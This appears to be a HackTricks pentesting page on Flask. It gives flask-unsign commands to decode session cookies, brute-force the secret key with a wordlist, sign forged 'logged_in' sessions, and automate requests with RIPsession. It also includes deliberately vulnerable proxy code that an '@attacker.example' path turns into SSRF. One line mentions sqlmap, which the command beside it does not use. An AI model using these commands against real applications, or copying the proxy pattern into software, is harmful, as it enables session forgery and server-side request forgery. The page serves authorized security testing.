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// HackTricks · Network Services

Flask

Flask

Flask applications are often useful targets for server-side template injection testing, but the framework alone does not imply that an SSTI vulnerability exists.

Cookies

Flask’s default client-side session cookie is named session. Its contents are serialized and cryptographically signed, but not encrypted: a user can inspect them, while modifying them requires the application’s secret key.[1]

Decoder

The Kirsle Flask session decoder can decode a cookie for inspection.[2] Do not submit real production cookies to third-party services.

Manual

For an uncompressed cookie, take the segment before the first dot, add Base64 padding if needed, and decode the URL-safe Base64 value. A leading dot indicates that the payload is compressed, so the simple command below is not sufficient.

echo "ImhlbGxvIg" | base64 -d

Decoding does not verify the signature and does not reveal the secret key.

Flask-Unsign

flask-unsign can decode Flask session cookies and, during an authorized test, try candidate secret keys or sign a modified session when the key is known.[3]

pip3 install flask-unsign
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute force

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Signing

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Signing using legacy (old versions)

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

RIPsession automates requests with cookies crafted through flask-unsign.[4]

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

This example uses sqlmap’s --eval option to sign payloads with a known Flask secret.

Unsafe proxy URL concatenation

Research into HTTP parser inconsistencies showed that unusual request targets beginning with @ can reach Flask routes. If an application concatenates that attacker-controlled path directly after a URL authority, the result can be interpreted with the text before @ as user information and the text after it as a new host.[5]

GET @/ HTTP/1.1
Host: target.com
Connection: close

In the following scenario:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
  return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

With a path such as @attacker.example, the constructed URL becomes https://google.com@attacker.example. This is an application-level URL-construction flaw, not an inherent Flask SSRF. Parse the destination, enforce an allowlist for scheme and host, and reject ambiguous request targets.

References